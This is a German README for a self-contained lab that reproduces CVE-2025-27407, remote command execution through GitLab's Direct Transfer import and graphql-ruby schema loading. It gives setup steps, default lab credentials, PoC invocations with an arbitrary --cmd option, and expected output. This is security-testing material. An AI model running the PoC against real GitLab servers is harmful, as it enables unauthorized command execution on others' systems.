
Minimales rein lokales Labor zum Nachweis, dass der GitLab-Direct-Transfer-HTTP-Pfad den verwundbaren graphql-ruby-Introspection-Schema-Loader erreicht. Das Labor betreibt einen einzelnen verwundbaren GitLab-CE-Container; das PoC-Skript startet seinen simulierten GitLab-Quellserver nur während der Tests prozessintern.
Führen Sie dies nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind, Tests durchzuführen.
| Datei | Zweck |
|---|---|
lab.sh | Startet, wartet, verifiziert und bereinigt das GitLab-Labor. |
poc_host_port_cmd.py | Einmaliger PoC: simulierter Quellserver + GitLab-Anmelde-/Konfigurations-/Import-Trigger. |
podmancurlStandardwerte:
Port 8080 ist die Standardeinstellung des Skripts. Falls etwas anderes diesen bereits verwendet, nutzen Sie 18080 wie hier gezeigt.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Öffnen Sie GitLab unter:
http://127.0.0.1:18080
Anmeldedaten:
root / Cve27407Password!
root ist nur der Standard-Laborbenutzer. Der PoC-Trigger benötigt kein Administratorkonto; jeder authentifizierte Benutzer, der in einem Ziel-Namespace erstellen/importieren kann, kann den verwundbaren Direct-Transfer-Pfad erreichen. Verwenden Sie --username und --password, um mit einem Nicht-Administrator zu testen.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Erwartete Signale:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 belegt ist, verwenden Sie GITLAB_HTTP_PORT=18080 für ./lab.sh up.--listen-port auf einen ungenutzten Port.--wait-seconds oder führen Sie MARKER="$MARKER" ./lab.sh verify erneut aus.GITLAB_HTTP_PORT=18080 ./lab.sh wait erneut aus../lab.sh cleanup aus und starten Sie erneut../lab.sh cleanup
Dies entfernt den GitLab-Container, alle alten Fake-Quellcontainer aus früheren Laborversionen und das Labornetzwerk. Heruntergeladene Podman-Images werden nicht entfernt.
| Element | Standard |
|---|
| GitLab-Image | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab-Container | cve-27407-gitlab |
| Podman-Netzwerk | cve-2025-27407-net |
| GitLab-Root-Benutzer | root |
| GitLab-Root-Passwort | Cve27407Password! |
| Marker | /tmp/cve_2025_27407_gitlab_marker |
| Option | Zweck | Standard |
|---|
--host | Anzusprechender GitLab-Host | Erforderlich |
--port | Anzusprechender GitLab-HTTP-Port | Erforderlich |
--cmd | Befehl, der in der GitLab-Laufzeit ausgeführt wird | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Lokaler Port des simulierten Quellservers | 8001 |
--wait-seconds | Zeit, den simulierten Quellserver für asynchrone GitLab-Worker aktiv zu halten | 90 |
--username | GitLab-Benutzername | root |
--password | GitLab-Passwort | Cve27407Password! |
| Variable | Zweck | Standard |
|---|
GITLAB_HTTP_PORT | HTTP-Port von GitLab (Host/Container) | 8080 |
GITLAB_SSH_PORT | SSH-Port von GitLab auf dem Host | 2224 |
GITLAB_ROOT_PASSWORD | Initiales Root-Passwort | Cve27407Password! |
GITLAB_IMAGE | Zu startendes GitLab-Image | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Name des Podman-Netzwerks | cve-2025-27407-net |
MARKER | Datei, die im GitLab-Container geprüft wird | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Timeout für die Bereitschafts-Wartezeit | 1200 |